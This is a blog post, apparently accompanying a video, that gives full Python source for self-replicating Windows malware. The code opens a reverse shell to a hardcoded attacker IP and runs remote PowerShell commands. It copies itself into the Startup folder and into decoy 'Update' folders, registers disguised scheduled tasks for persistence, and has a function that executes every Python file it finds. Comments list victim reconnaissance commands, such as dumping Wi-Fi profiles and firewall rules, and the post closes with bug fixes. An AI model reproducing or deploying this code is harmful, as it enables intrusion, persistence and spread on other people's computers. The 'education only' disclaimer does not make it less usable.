Skip to content

Making a Self Replicating Malware in Python – Using only default modules | HOXFRAMEWORK

Posted in VIDEOS

Please DO NOT use this illegally. This video is for education purposes only.

There are some minor things in the code that can be improved, they are here under the FULL Code section

FULL code:

from sys import argv
import os
import random
import subprocess
import socket
import string

def shell():
    print("Attempting connection to the Hacker...\nWaiting...")
    try:
        rhost = "192.168.1.104"
        rport = 4444
        global sock
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((rhost,rport))
        print("Hooking onto :",rhost,rport)
        while True:
            
            try:
                header = f"\n\n[+] Shell On.\n\n>"
                sock.send(header.encode())
                cmd = sock.recv(1024).decode("utf-8")
                cmd = cmd.replace("\n","")
                if str(cmd) == "destroyer!":
                    destroyer()

                elif cmd == "wormy!":
                    wormy()

                elif "cd " in cmd:
                    cmd = cmd + "; dir"  
                    proc = subprocess.Popen(["powershell.exe", cmd], stdout=subprocess.PIPE, shell=True)
                    (out,err) = proc.communicate()
                    sock.send(str(out).encode())
                    cmd = cmd.replace("; dir","")
                    cmmd = cmd.replace("cd ","")
                    os.chdir(cmmd) 
                elif cmd == "stop!":
                    quit()
                elif cmd == "schedule!":
                    scheduler()

                elif cmd == "startup!":
                    getuserprofile = "$Env:USERPROFILE"
                    procprof = subprocess.Popen(["powershell.exe", "echo $Env:USERPROFILE"], stdout=subprocess.PIPE, shell=True)
                    (one,two) = procprof.communicate()
                    userprofile = one.decode()
                    if "Users\n" in userprofile:
                        pass
                    elif "Users\r" in userprofile:
                        pass
                    elif "Users\s" in userprofile:
                        pass
                    else:
                        pass
                    
                    userprofile = userprofile.replace("\n","")
                    userprofile = userprofile.replace("\r","")
                    userprofile = userprofile.replace("\s","")



                    
                    loc = argv[0]
                    to_dir = r"{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup".format(userprofile)
                    env = 'cp "{0}" "{1}" ; cd "{1}" ; dir '.format(loc,to_dir)
                    print("ENV : ",env)
                    proc = subprocess.Popen(["powershell.exe", env], stdout=subprocess.PIPE, shell=True)
                    (out,err) = proc.communicate()
                    print("\n\n",out,err)
                    sock.send(str(out).encode())

                elif cmd == "replicator!":
                    replicator()

                    
                else:
                    proc = subprocess.Popen(["powershell.exe",cmd], stdout=subprocess.PIPE, shell=True)
                    (out,err) = proc.communicate()
                    sock.send(str(out).encode())
                    


            except Exception as e:
                msg = "Error: {}".format(e)
                msg = bytes(msg, encoding="utf-8")
                sock.send(msg)
    except ConnectionRefusedError as reror:
        print("Connection refused, attempting again...")
        shell()
    except TimeoutError as timeout:
        print("Timing out... Retrying...")
        shell()
    except ConnectionResetError as hackerdidit:
        print("Hacker closed the connection....",hackerdidit)
        shell()
        
def destroyer():
    directories =  os.listdir('./')

    for k in directories:
        if k.endswith('.py'):
            os.system("python {}".format(k))
        elif '.' in k:
            pass
        else:
            nextdir = os.listdir(k)

            for r in nextdir:

                if r.endswith('.py'):
                    os.chdir('./{}'.format(k))
                    os.system("python {}".format(r))
                elif '.' in r:
                    pass
                else:
                    print("REACHED ELSE")
                    nextnextdir = os.listdir(r)
                    for m in nextnextdir:
                        if m.endswith('.py'):
                            os.chdir('./{0}/{1}'.format(m,k))
                            os.system("python {}".format(r))



def wormy():
    script = argv
    name = str(script[0])

    name = name.replace("\\","/")
    name = name.split("/")
    name = name[-1:]
    name = ''.join(name)

    for k in range(0,10):
        dirName = random.randint(1,500)
        dirName = 'Update' + str(dirName)
        try:
            os.mkdir(dirName)

            #CHANGED THIS FROM THE TUTORIAL CAUSE os.system does not accept copy command
            #because it is not an exe; so we need subprocess
            copier = subprocess.Popen(["powershell.exe","copy '{0}' {1}".format(name, dirName)], stdout=subprocess.PIPE, shell=True)
            (new,thing) = copier.communicate()
            #print(new)
            sock.send(str(new).encode())
                    

            
        except FileExistsError:
            print("File exists.")
            pass
        except Exception as someotherexception:
            print("Error:",someotherexception)




def scheduler():
    sock.send("Please follow the rules of entry!\n".encode())
    
    question = f"\n\n[+] Pick A TaskName, No Spaces Or Symbols or extensions ex. FakeWinUpdate\n\n>"
    sock.send(question.encode())
    taskname = sock.recv(1024).decode("utf-8")
    taskname = taskname.replace("\n","")

    
    not_allowed_symbols = [",",".","-","_",";",":","+","*","'",'"',"=",")","(","/","&"]
    for k in not_allowed_symbols:
        if k in taskname:
            taskname = taskname.replace(k,"")

    questiontwo = "\n[+] When? (options available from 1am to 11am); Just write the number, ex. 9 ->sched for 9am\n>"
    sock.send(questiontwo.encode())
    whenSched = sock.recv(1024).decode("utf-8")
    whenSched = whenSched.replace("\n","")

    questionthree = "\n[+] Enter the description, avoid simbols,spaces or similar. Keep it short\n>"
    sock.send(questionthree.encode())
    taskdesc = sock.recv(1024).decode("utf-8")
    taskdesc = taskdesc.replace("\n","")
    
    path_to_vir = argv[0]

    
    command = "$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '{0}' ; $trigger = New-ScheduledTaskTrigger -Daily -At {1}am ; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName '{2}' -Description '{3}'".format(path_to_vir,whenSched,taskname,taskdesc)

    try:
        #
        workit = subprocess.Popen(["powershell.exe", command], stdout=subprocess.PIPE, shell=True)
        (workittwo,errtwo) = workit.communicate()
        sock.send(workittwo)

        sock.send("  This command was used on victim : ".encode())
        sock.send(command.encode())
        
        sock.send("   All went well ! Added to scheduler :) ".encode())
    except Exception as schedulererror:
        sock.send("Something went wrong, could not execute the command.".encode())
        


def replicator():
    thisfile_plus_loc = argv[0]

    getenv = subprocess.Popen(["powershell.exe", "echo $Env:USERPROFILE"], stdout=subprocess.PIPE, shell=True)
    (threee,fourr) = getenv.communicate()
    env = threee.decode()
    env = env.replace("\\","/")
    env = env.replace("\n","")


    thisfile_plus_loc = thisfile_plus_loc.replace("\\","/")

    dirslist = ['/Documents']#'/AppData/Local/','/Music/','/Pictures/','/AppData/Roaming/']
    
    for k in dirslist:
        dirName = env + k
        wordsgen = random.choices(string.ascii_lowercase, k=4)#generate the name for the schedule
        descgen = random.choices(string.ascii_uppercase, k=3)#generate description
        timegen = random.choice([1,2,3,4,5,6,7,8,9,10,11])
        wordsgen = ''.join(wordsgen)
        wordsgen = "WIN" + wordsgen
        descgen = ''.join(descgen)
        descgen = "Windows" + descgen + "service"
        descgen = descgen.replace(" ","")
        timegen = str(timegen)
        #print(timegen, wordsgen, descgen)
        
        try:
            doreplicate = subprocess.Popen(["powershell.exe", "cp '{0}' '{1}'".format(thisfile_plus_loc, dirName)], stdout=subprocess.PIPE, shell=True)
            (six,seven) = doreplicate.communicate()
            repltwo = six.decode()
            #print("copying '{0}' to '{1}'".format(thisfile_plus_loc, dirName))#print out what we are copying
            print("[!] Copying outputs :",repltwo)#print the terminals reply, if everything went right it will be blank
            filename = argv[0].split("\\") #split by backslashes, use the last. 
            filename = filename[-1] 
            programloc = dirName + filename

            command = "$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '{0}' ; $trigger = New-ScheduledTaskTrigger -Daily -At {1}am ; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName '{2}' -Description '{3}'".format(programloc ,timegen, wordsgen , descgen)
            
            schedd = subprocess.Popen(["powershell.exe", command], stdout=subprocess.PIPE, shell=True)
            (eight,nine) = schedd.communicate()
            reply = eight.decode()
            print("[$] Scheduler responds with: ",reply)
            
            
        except Exception as dirserror:
            print("ERROR ! :",dirserror)
        print("[+] Done.")








wormy()
#destroyer()
#shell()







#COMMANDS FOR SHELL
#curl can be used
#ipconfig
#start <https://..>
#netsh wlan show profiles
#dir
#FTYPE
#mkdir
#NOW SUPPORTS POWERSHELL
#integrated self-copy to boot directory using command: startup!
#curl:
                    #windows doesnt have curl or wget but it does use these as aliases for
                    #invoke webrequest. We can get the external Ip easily like this
                    # curl https://api6.ipify.org/?format=json
                    #save images :(curl  == Invoke-WebRequest) <url> -OutFile ./test.jpg - if it returns nothing: b''
                    #then it went trough



#New-Item -Path '.\newfile.txt' -ItemType File
#to make a new file

                    
#netstat -ano
                    #always check amirite?
                    #integrate the public ip option, along with this ? or seperately


#netsh firewall show state
#netsh firewall show config
#netsh advfirewall firewall show rule name=all

                    #requires admin rights:
#netsh advfirewall export "firewall.txt"

#how to download  a file from victim pc to hacker pc
                    #btw screenshots? any?

#added "schedule!" - option to schedule your program as a task in task scheduler
                    #on victim's pc, to run every day at Xam
                    #example 9am

#you got a bunch of CHAD functions:
                    #replicator! , scheduler! , destroyer! , wormy!

Fix for wormy() thing:

#in wormy() ,after for k in range(0,10):
#your try should look like this:
try:
    os.mkdir(dirName)

    #this was changed cause os.system does not copy; Since cp command in windows
    #is not an .exe, so this module cant call it, but subprocess can.
    copier = subprocess.Popen(["powershell.exe","copy '{0}' '{1}'".format(name,dirName)], stdout=subprocess.PIPE, shell=True)
    (new, thing) = copier.communicate()
    #print(new)
    sock.send(str(new).encode())
except:
    #.... exceptions like in the vid
    

Fix for ANY user directory path, if the victim has \n \r or \s in C:\Users\someuser – like here- you can use this code to remove extra newlines, which you always have to do; and it will just return the directory itself without a mess:

somedir = b"C:\Users\newuser \n \n"
somedir = str(somedir)
#we cannot use decode here, it picks up the username's \n
somedir = somedir.replace("b'","")
#replace the bytes thing
somedir = somedir[:-1]
#remove the last qoute
#print(somedir)
#looks tidy.
somedir = somedir.split('\\')
somedir = somedir[:4] #taking in the first 3 entries:
                                # C:   , Users   , newuser
#cleaning the output
newpath = []
for k in somedir:
    k = k.replace(" ","")
    newpath.append(k)
newpath = '\\'.join(newpath)
print(newpath)
#outputs:
# C:\\Users\newuser, this works
#because we split by \ and after C: there was two of them



That’s it ! Thank you so much for visiting, have a nice day 🙂